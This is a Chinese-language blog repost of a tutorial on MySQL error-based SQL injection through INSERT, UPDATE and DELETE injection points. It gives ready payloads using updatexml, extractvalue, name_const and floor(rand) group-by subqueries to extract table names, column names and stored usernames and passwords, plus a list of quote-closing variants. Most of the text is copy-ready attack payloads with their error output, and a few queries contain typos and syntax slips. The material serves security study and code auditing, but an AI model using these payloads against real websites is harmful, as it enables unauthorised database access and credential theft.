利用insert、update和delete注入獲得數據


前言

最近在進行代碼審計,其中遇到了update、delte語句存在注入的問題就找來了這篇文章看看,同時也加強以下自己對報錯注入的理解。以下是文章原文。如果不想看原文,可以直接看文章最后的我的總結一章。
本文轉載自wooyun drops文章,《利用insert、update和delete注入獲得數據》。

以下是文章原文,如有侵權,望告知。

簡介

利用SQL注入注入獲取數據庫數據,利用的方法可以大致分為聯合查詢、報錯、布爾盲注以及延時注入,通常這些方法都是基於select查詢語句中的SQL查詢點來實現的。那么,當我們發現了一個基於insert、update、delete語句的注射點時(比如有的網站會記錄用戶瀏覽記錄、包括referer、client_ip、user-agent等,還有類似於用戶注冊、密碼修改、信息刪除等功能),還可以用如上的方法獲取我們需要的數據嗎?在這里,我們以MYSQL的顯錯為例,看一下如何在insert、update、delete的注射點中獲取我們想要的數據。

環境搭建

為了更好的演示注入效果,我們先利用下面的語句創建原始數據:

create database newdb;
use newdb;
create table users (
    id int(3) not null auto_increment,
    username varchar(20) not null,
    passowrd varchar(20) not null,
    primary key(id)
);
insert into users values(1,'janes','Eyre');

看一下當前數據結構:

注入語法

因為我們這里是用的顯錯模式,所以思路就會在insert、update、delete語句中人為構造語法錯誤,利用如下語句:

insert into users(id,username,passowrd) values (2,''inject here'','Olivia');
insert into users(id,username,passowrd) values (3,""inject here"",'Olivia');

注意:大家看到本來要填入username字段的地方,我們填入了'injectio here'"inject here"兩個字段來實現報錯,一個單引號包含,一個是雙引號包含,要根據實際的注入點靈活構造。

利用updatexml()獲取語句

updatexml()函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數
payload:

or updatexml(1,concat(0x7e,(version())),0) or

Insert:

insert into users(id,username,passowrd) values(2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or '','Nervo');

Update:

update user set passowrd='Nicky' or  updatexml(1,concat(0x7e,(version())),0) or '' where id=2 and username='Nervo';

Delete:

delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

提取數據:
由於篇幅有限,在insert、update、delete用法一致的時候,我僅會以insert為例說明。
所用的payload為:

or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or

獲取newdb數據庫表名:

獲取users表的列名:

利用insert獲取users表的數據:

利用delete獲取users表的數據:

我們可以用insert、update、delete語句獲取到數據庫表名、列名,但是不能用update獲取當前數據;

在這里,為了演示用update獲取數據,我們臨時再創建一個含有id,name,address的student表,並插入一條數據:

再次利用update獲取users表中的數據:

(注意使用update獲取數據時,無法獲取當前數據,至少需要兩張表)

如果你碰到一個update的注入並且想獲取當前的表的數據的話,可以用雙查詢,我后面會講到。

利用extractvalue()獲取數據

extractvalue()函數也是MYSQL對XML文檔數據進行查詢和修改的XPATH函數。
payload:

or extractvalue(1,concat(0x7e,database())) or

Insert

insert into users(id,username,password) values(2,'Olivia' or extractvalue(1,concat(0x7e,database())) or '','Nervo');

Update

update users set passowrd='Nicky' or extractvalue(1,concat(0x7e,database())) or '';

delete

delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

提取數據:
同樣,在insert、update、delete用法一致的時候,我僅會以insert為例說明。

獲取newdb數據庫表名:

insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1))) or '','Nervo');

獲取users表的列名:

insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or '','Nervo');

獲取users表的數據:

insert into users(id,username,passowrd) values(2,'Olivia' or extractvalue(1,concat(0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1))) or '','Nervo');

同樣,我們可以用insert、update、delete語句獲取數據庫表名、列名、但是不能用update獲取當前表的數據。

利用name_const()獲取數據

name_const()函數是MYSQL5.0.12版本加入的一個返回給定值的函數,當用來產生一個結果集合時,NAME_CONST()促使該列使用給定名稱。
Payload:

or (select * from (select name_const(version(),1),name_const(version(),1))a) or

Insert:

insert into users(id,username,passowrd) values(2,'Olivia' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '','Nervo');

Update:

update users set passowrd='Nikcy' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '';

Delete

delete from users where id=1 or (select * from (select name_const(version(),1),name_const(version(),1))a) or '';

提取數據:
在最新的MYSQL版本中,使用name_const()函數只能提取到數據庫的版本信息,但是在一些比較舊的高於5.0.12(高於5.0.12)的MYSQL版本中,可以進一步提取更多數據。在這里我使用MYSQL5.0.45進行演示。

首先,我們做一個簡單的select查詢,檢查我們是否可以提取數據。

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select name_const((select 2),1),name_const((select 2),1))a) or '','Nervo');

如果顯示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。
如果顯示ERROR 1060 (42S21): Duplicate column name 2,就可以進一步獲取更多數據。

獲取newdb數據庫表名:

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select name_const((select concat(table_name) from information_schema.tables where table_schema=database()),1))a) or '','Nervo');

ERROR 1060 (42S21): Duplicate column name 'users'

獲取users表的列名

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select column_name from information_schema.columns where table_name='users'),1))a) or '','Nervo');

ERROR 1060 (42S21): Duplicate column name 'id'

獲取users表的數據

insert into users (id,username,passowrd) values (1,'Olivia' or (select * from (select concat_ws(':',id,username,passowrd) from users limit 0,1),1))a) or '','Nervo');

ERROR 1060 (42S21): Duplicate column name '1:Jane:Eyre'

利用子查詢注入

原理與select查詢時的顯錯注入一致。

Insert:

insert into users(id,username,passowrd) values(1,'Olivia' or (select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x;
) or '','Nervo');

update

update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;

delete

delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)

提取數據
獲取newdb數據庫表名:

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

獲取users表的列名

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

獲取users表中的數據

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

更多的閉合變種

'or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
' * (payload) *'
' or (payload) and '
"- (payload) -"

引用

http://dev.mysql.com/
http://websec.ca/kb/sql_injection
from: http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

我的總結

其實這篇文章主要就是說明了四種報錯注入的用法,以及如何在insert、update、delete語句中使用,常見的使用就是閉合標簽。
還是總結以下報錯注入的用法。

常用注入語法

updatexml
or updatexml(1,concat(0x7e,(【需要寫入的SQL語句】)),0) or

例子為:

insert into users(id,username,password) values(1,'PPP' or updatexml(1,concat(0x7e,(version())),0) or '','PPP')
extractvalue
or extractvalue(1,concat(0x7e,(需要寫入的SQL語句))) or

例子為:

insert into users (id,username,password) values(1,'pp' or extractvalue(1,concat(0x7e,(select database()))) or '','ppp');
name_const()

這個方法對mysql的版本有一定的顯示,目前在最新的版本5.5.53中已經無法使用,只能得到版本號

or (select * from (select name_const(version(),1),name_const(version(),1))a) or

例子為:

insert into users (id,username,password) values(1,'pp' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '','ppp');
group by
or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(【SQL語句】)x from information_schema.character_sets group by x)a) or

例子為:

insert into users(id,username,passowrd) values(1,'Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select concat_ws(':',id,username,passowrd) from users limit 0,1),0x7e)x from information_schema.character_sets group by x)a) or '','Nervo');

PHP的mysql報錯顯示

需要注意的是,報錯注入需要通過php中的mysql_error()顯示。
下面的例子:

$sql = mysql_query('select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)');
$row = mysql_fetch_array($sql);
$strid = $row['id'];
echo $strid;

這樣在界面上是沒有顯示的,需要通過mysql_error()顯示。

$sql = mysql_query('select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)');
if(!$sql) {
	echo mysql_error();
}
$row = mysql_fetch_array($sql);
$strid = $row['id'];
echo $strid;

只有加入了mysql_error()才能夠顯示錯誤,所以來說報錯注入還是具有一定的條件的。

為了能到遠方,腳下的每一步都不能少


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM